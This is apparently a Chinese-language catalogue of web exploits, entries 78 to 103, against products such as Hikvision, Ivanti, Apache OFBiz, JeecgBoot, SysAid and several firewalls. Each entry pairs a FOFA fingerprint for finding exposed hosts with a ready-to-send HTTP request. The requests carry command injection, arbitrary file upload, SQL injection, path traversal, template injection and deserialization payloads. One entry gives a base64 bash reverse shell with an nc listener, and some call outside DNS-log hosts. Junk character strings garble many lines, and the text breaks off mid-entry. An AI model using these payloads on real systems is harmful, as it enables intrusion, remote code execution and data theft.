Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
( _& d& u! X/ H
------------398jnjVTTlDVXHlE7yYnfwBoix
' E% }( a1 c% ^1 y9 wContent-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
7 Z$ W, h3 C4 j7 T0 @5 [. QContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
7 X( Q2 r" A7 hContent-Type: application/octet-stream

4 I3 j. W# E3 {. Y/ Y( @) uhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
+ p; X& p* \1 Y' D( S8 vContent-Disposition: form-data; name="Upload"
/ h$ P* k, ^3 |5 B" N+ x& I
Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


7 X( W& F# v2 j, u; k  H78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
# n- o3 }6 R2 rFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
( e* Z  @, q$ x8 s& U" lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ K4 p" s2 o5 ^# [# t2 l. S: J9 AConnection: close
1 ^5 s- @2 \# B/ H* YContent-Length: 336
( B+ l0 a) R0 _' V& C; ^' C  W+ TAccept-Encoding: gzip
! L. @* j3 l! m9 nContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
2 Y) k# ?6 Q8 A% O# b3 L! {
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
( ?6 Q' J1 L9 c5 ]  @3 ]Content-Disposition: form-data; name="target"

& u4 Z$ c  ]1 m/Applications/SkillDevelopAndEHS/
  ~( g( r- D( i------YsOxWxSvj1KyZow1PTsh98fdu6l--
$ M& {5 m( {, r4 J( E
( ~: d9 I/ q$ y5 ^
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
8 P6 q1 ?  G) h. W
  a% v6 L! ^8 k4 u; H4 U
. g* |; r0 B! {; D79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
. v  d2 Y$ L4 l0 |Upgrade-Insecure-Requests: 1
+ X" n" R1 o$ `; X6 B
; l+ f. i- D/ D$ E
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
1 h- T% F& T( P/ c( H; e; g% q( JFOFA：app="速达软件-公司产品"
3 ~4 Q( @- Z! j/ e) hPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
6 k9 }0 `: a# }7 O" f/ N" BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
  Y" u! [& ?5 D; y  O
<% out.print("oessqeonylzaf");%>
! e- U4 x( ?. f) b6 o4 N

6 }9 z7 V% D! h5 x. l$ D' f! yGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
1 a( K  y) B; R- @7 ^( {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

# K- J- w7 |; X- \. ~3 g- A
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
/ G  S3 P* x4 s. m( B, bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
9 o0 t1 a8 V0 T/ H; d

+ U, u8 _/ e0 U6 A  m& M# S82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
  [" L9 I, f5 ?4 `3 r% |* gFOFA：app="思福迪-LOGBASE"
2 J. E/ P3 }! `6 {POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
+ T% w/ I- J) q9 H7 @9 d* lAccept-Encoding: gzip
# r: @7 b+ c9 ^. w0 `& ~1 n( L" ]Connection: close
& {1 C  Q6 J$ l* G0 ?$ ^3 @" QContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
+ p" X6 i7 E0 I
z1=1&z2="|id;"&z3=bhost
% c. x: _. R; I6 o9 y

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
: r0 U3 [6 }0 v$ Q% a! ~# r$ j
5 E4 U3 w: _6 P# u( j" C
) U9 \" Z6 p" o5 [$ q' G+ u3 P8 d# yPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
# d/ i1 u) N$ M, zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
  x2 h( Q/ r2 x1 i- _1 JCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
6 X8 h0 X  |7 }% n$ S
' A  P5 v8 z2 o- L1 W2 ]PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



4 B& @- u1 X3 S( M2 YPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
, `6 N3 `* i$ @5 N2 a' zUser-Agent: curl/7.88.1
' r' @3 [' V; f9 c" [( Z" i; WContent-Length: 156
Accept: */*
0 m- G3 `* [- w% e& Z) N/ k, e! j/ OConnection: close
Content-Type: application/json
7 x0 H" y$ M# fAccept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  k9 k/ b( N& }. {7 Y, b  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
6 Z' D% s5 S8 c) K! f8 E. E6 J  \CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
* @: y( B# l2 D  REXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
( l3 z1 a9 G  {' @3 ~Host: x.x.x.x
* z/ |$ B7 L1 i  H" O; ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
! m: L4 i2 @/ N" P6 D) HAccept-Encoding: gzip
( U) Z6 C; Z# ~
PAYLOAD

3 x, x$ P4 I; R$ U+ {2 A8 C+ n回显URL：http://x.x.x.x/userfiles/index.jsp
# c: R, t6 Z* u$ k4 D6 j9 V2 ?
86. 日本tosei自助洗衣机RCE
8 `! q$ T8 O! I3 ]" e% m  _8 VFOFA：body="tosei_login_check.php"
/ q+ b' l% D  b' D- ^POST /cgi-bin/network_test.php HTTP/1.1
) k( Q, w4 y: ]9 O) D" \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

( h7 w1 T1 Y0 X" T( }' \3 r9 \host=%0acat${IFS}/etc/passwd%0a&command=ping


+ N+ v6 _7 R% S+ V87. 安恒明御安全网关aaa_local_web_preview文件上传
$ O( [- o, u8 N8 W2 f+ y% @FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 G3 s0 }! P2 }, BContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
: c, n) y, ^0 }. ?4 Q& \
--qqobiandqgawlxodfiisporjwravxtvd
; L% V& ~( k: E9 O) {6 x0 A+ M* p! fContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
' j) Y$ h9 ^& a& V; p3 T2 o
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
' O6 s5 {, P0 S2 J0 m--qqobiandqgawlxodfiisporjwravxtvd--

2 t4 v- ~0 W* [3 M( q2 p
0 h( D% o  A0 n0 n3 Z( f( ]$ J/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
( \$ T4 y9 i3 T" @0 [GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
) P8 v) a) F" t+ m3 wHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 ~/ o, q- z: v& R% B6 ?; DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 O6 E" i6 T* g8 W5 p  GConnection: close
2 I8 s2 F7 x8 m  ?; V" h

/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
% o5 N  s- k) f! ^1 }" N; YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! Z/ o! j  c6 a+ j6 A
% F  F0 g0 t' Roption=2&GUID=-1'+union+select+111*222--+
9 i+ m( y! G2 I) U1 N- n9 M
5 ?2 ^: v; f1 U% z3 J. E2 E+ }, r
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
( l# q6 b7 u# [1 x9 ePOST /php/ping.php HTTP/1.1
5 A3 g' f4 `( S1 \6 k( E+ K' `4 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
4 M% c. L' R" }5 SContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
* M) R* G# e" E& m1 i# vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
0 q9 J* Q/ V  I/ K  @Content-Type: application/x-www-form-urlencoded
% f1 b& V- Q, U6 ?9 iX-Requested-With: XMLHttpRequest
  i) O# {9 d3 A- t+ E
8 j8 q  H: U4 y- O9 Djsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
# @& u6 A. h2 i7 m

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
. j, E* M- z+ DFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
# w3 X7 C) Y: WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% N( D  M4 y7 q4 B% i/ kAccept-Encoding: gzip, deflate
  Y/ S% \9 B* {$ |3 ~8 |Accept: */*
! s5 L# D  t, z% W9 I* |) r8 |0 [Connection: keep-alive


9 u/ F# ?& G: T$ [: Q' g1 v1 P. j7 x
6 d- a" U' b$ \+ Q, Y( ^8 e) @92. 海康威视运行管理中心session命令执行
! s) n' w& z2 ]2 M- o0 ~( z8 G& gFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
. F. F% }( S1 L9 `$ H3 dPOST /center/api/session HTTP/1.1
. C% C5 C& k- D7 u3 D. q2 o& {6 yHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
: a$ X7 r+ n1 w  x3 K1 Y9 MX-Requested-With: XMLHttpRequest
& |% |5 m- J- R) |  G. ^$ O  YContent-Type: application/json;charset=UTF-8
  E3 E. U/ g) @1 {& e3 J% aX-Language-Type: zh_CN
$ W* d1 N+ R& u  T5 bTestcmd: echo test
( c5 T" P5 V* m& U3 a: j0 Q* }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
1 A- p, B( ]# J7 z9 _Content-Length: 5778
% z2 \% _, A/ m: }4 ?$ {8 C
# a. p# L, {. q: mPAYLOAD
' Y5 p, X* L& u. x  I
: F9 `- k% H7 i% O
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
# E- K$ \) A: A+ E8 A5 UPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
2 d9 T* _4 [) ?& ]& \Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 W1 G. ]4 b+ X6 O) }5 \% [( M( s
& ^& A' h& ]/ r2 h4 p------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

% ~% c7 W# d4 d3 I10000000
. y& b& u) @6 L------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
' r& ]3 I- w  b9 [) p5 l( kContent-Type: text/plain
4 W" ]0 f# g9 r" S
wagletqrkwrddkthtulxsqrphulnknxa
! ~. R8 P4 {; r; C  k8 g9 ~+ u------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
, N( O# J9 s1 o4 u! t& G
- k" o! T, H- L* O8 ^obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
+ O$ D7 [5 I# E
0 v; Z# }& f4 I" O3 f0b9d6b1ab7479ab69d9f71b05e0e9445
/ ^! ~7 d, N8 {0 X: m------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
6 @' z; i) O1 P, H  A1 W1 P+ tHost: xx.xx.xx.xx
8 V3 b8 t) e* FUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: P6 T% t8 s6 N/ O) q
$ `3 x$ |+ P: K3 M9 L+ Z, P
6 E6 r8 U& h/ [7 [94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
/ T$ I' Q1 v8 K% v2 G+ sPOST /?g=obj_area_import_save HTTP/1.1
- X- X' O# E0 F' GHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
- r: B9 t* `4 \/ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 r" f' }: i; y' [  J% m$ `0 S
5 H! E: k3 ]8 a4 Y------WebKitFormBoundarybqvzqvmt
' V: R9 m9 }- G5 `3 h9 L- ?Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
2 ^7 }5 ~! ^5 N------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
- K& [8 u/ s& W
pxplitttsrjnyoafavcajwkvhxindhmu
3 ]9 d6 Q* @9 B0 D% X------WebKitFormBoundarybqvzqvmt
3 }6 T5 W% ~/ A$ [  N% hContent-Disposition: form-data; name="submit_post"

4 C% I% p1 i8 c; I, m; z* E% sobj_app_upfile
8 C# [) v% B/ J% Q# ]7 |. v# i' ~------WebKitFormBoundarybqvzqvmt
/ W+ L$ d# G$ j; JContent-Disposition: form-data; name="__hash__"
: c) d! W. _. {, ^
" h2 n( m/ R$ n# t9 O  ]/ O0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
' H0 k& `( |$ E+ f, u
: K: b- o8 a2 y) ~. c/ }' T

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
6 Y  I  {7 r- f1 R4 T) k7 |User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 P8 ?% F# i* z

$ {7 g' x6 |0 M' x
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
% b# Y5 m' o+ N' T! u, t2 o7 e3 V, BPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
3 H% p" q0 E- `3 |; Q1 o8 K7 D+ QContent-Length: 889
Content-Type: application/xml
' K; U  \2 i; B; _) c. sAccept-Encoding: gzip
6 z3 j% q* G7 k& t/ q
<?xml version="1.0"?>
# o& U& {9 m6 i, }+ O" N<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
/ B5 |$ d6 \, U) ^! Q  ]  x" ]      <param>
% v+ u* T) L: o) Z9 s! l      <value>
3 _( O! J# I) s1 h4 G8 b' u        <struct>
/ ^& i2 t( Y* o- ?       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
2 O* Y' o1 p( ?4 O* i8 \9 y          </value>
( B) u+ u5 s# I) m8 B4 U. p        </member>
+ [; p. G. J3 u' Y: d& O      </struct>
/ i# t1 q3 j( r6 D' x, {! C# a3 t      </value>
/ t7 D: T8 W, E' [% q9 ^! }0 m6 T    </param>
    </params>
1 k1 B6 u) k- t! a, a2 y* f</methodCall>


  j. b8 a2 j- A# E: I用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
/ j! o, y8 q  ^
. k7 K! V' l' b- i/ S5 p) K: ?. q
5 e# L$ R4 f& K将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
) q* N' U* s  {* n. b7 Z0 V! l0 yHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" f+ L3 D5 ]4 j- j8 L8 t2 [( C4 m5 XConnection: close
8 G' F, T9 r! B3 c- W' N, o/ NContent-Length: 889
/ ?$ ]. X- n% @7 D& O0 BContent-Type: application/xml
$ U: S, O% j" J: U/ j: K7 b1 QAccept-Encoding: gzip
: f+ u3 s/ n! H7 @9 e
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
  M5 |9 \# u% @$ j$ FPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
, I5 H& c# M3 }% W# ^Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
3 l" [1 E) f1 ~  l9 V8 \4 B0 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 U& K$ M- p1 f0 BContent-Type: application/x-www-form-urlencoded
Content-Length: 55

/ \0 x) [* h' XgroovyProgram=throw+new+Exception('id'.execute().text);
5 C6 |& h/ h! f5 p/ U6 V# v7 m

0 x' [4 J9 U4 m, o; d6 ?反弹shell
" F7 w# R- v  w$ \在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
5 H6 R7 K1 D/ yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  g! A  r& i: ~; d  CContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
% o: B, M& V6 Z  U
" S9 _. o9 m7 |/ L+ y; G97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
) I, {0 g# ~' XGET /passport/login/ HTTP/1.1
/ z! @9 Q+ E2 z# m- s) RHost: 192.168.40.130:8085
% ^( T' B; ^4 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
3 D( y" ~% x" L# _. J. h' H$ @Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
$ S5 T$ n2 c+ a2 y

& o+ P& Q4 F: \: J$ p: a98. SpiderFlow爬虫平台远程命令执行
8 n" J" C" `- T9 XCVE-2024-0195
FOFA：app="SpiderFlow"
. n( P  {3 l4 [2 @0 C% F# r4 APOST /function/save HTTP/1.1
9 D' [4 Y& ]! N' h/ K1 m2 PHost: 192.168.40.130:8088
- o) B. ^0 h% S+ \7 K% kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
9 k2 a& {! [4 jContent-Length: 121
2 u" V" ]  F! }& ~. Z# v1 jAccept: */*
7 s) U/ E; `+ g+ }$ G3 H4 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
% @" m3 y' w$ `2 E" TX-Requested-With: XMLHttpRequest

9 r% b$ N# l0 _3 Aid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
" {4 C% `; [7 V$ L2 H; j
- m+ p# I7 |0 s9 I- d
$ @  T5 [1 t2 [; f- \! g99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
# U: S. Y! o+ B" z9 i9 n8 r* NPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
" b* O) a: j. VAccept: */*
Accept-Encoding: gzip, deflate
2 H- i% G% C3 K5 s; N8 HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
% X/ X. k5 D- S$ K, dX-Requested-With: XMLHttpRequest

8 Z; c4 \: s7 i/ e%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


. z& C2 z; H; F& s. X100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
$ O1 o( v/ x9 K" l1 g% }" g3 _! yHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
; i' Y# B4 T0 I4 @Connection: close
- M* {8 Y& p4 o/ a6 WContent-Length: 201
$ i' ?! T6 x* q: [# kContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
# O8 k7 s% ?* qAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
( o/ |6 `; ^1 R- ~4 Y# GContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

! h" {) [3 J' N3 T& n1 D/ o2ayyhRXiAsKXL8olvF5s4qqyI2O
+ i7 C4 h1 g5 E. r+ E------WebKitFormBoundarygcflwtei--
4 z0 g/ ~9 ]& [! P
4 O" e/ U4 T# C: f0 y& L
1 Z' S( A6 Z8 ?* I6 r101. ivanti policy secure-22.6命令注入
% t# t8 ?0 s+ u: X2 RCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
1 n: ~; d' d" L) N5 v9 k: RHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
- N, y% J: k. a) E& N5 ?6 J4 b

/ y6 ~9 `. Q& K2 K102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; |6 m& W& |) `% ~4 |" w8 f  KCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
8 B. s! K* q) b6 uPOST /dana-ws/saml20.ws HTTP/1.1
0 A! o& |( `" {Host: x.x.x.x
  ]) x- `/ f+ K' K- b/ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
/ C9 x+ Q/ `1 K) b2 dContent-Length: 792
; o: @, T& W: GAccept-Encoding: gzip
7 e% t0 b' E! h3 G# `" z
' O" T: u$ v; a7 b* H$ M9 X<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

% t- ]* }0 b( v* @103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
( M+ F- C! l2 Q2 L5 c% x+ A8 q8 f. YFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
& \& V: v$ I4 m* N- J4 ^, vHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
# O2 A, o2 I, E4 d( y! YContent-Length: 204
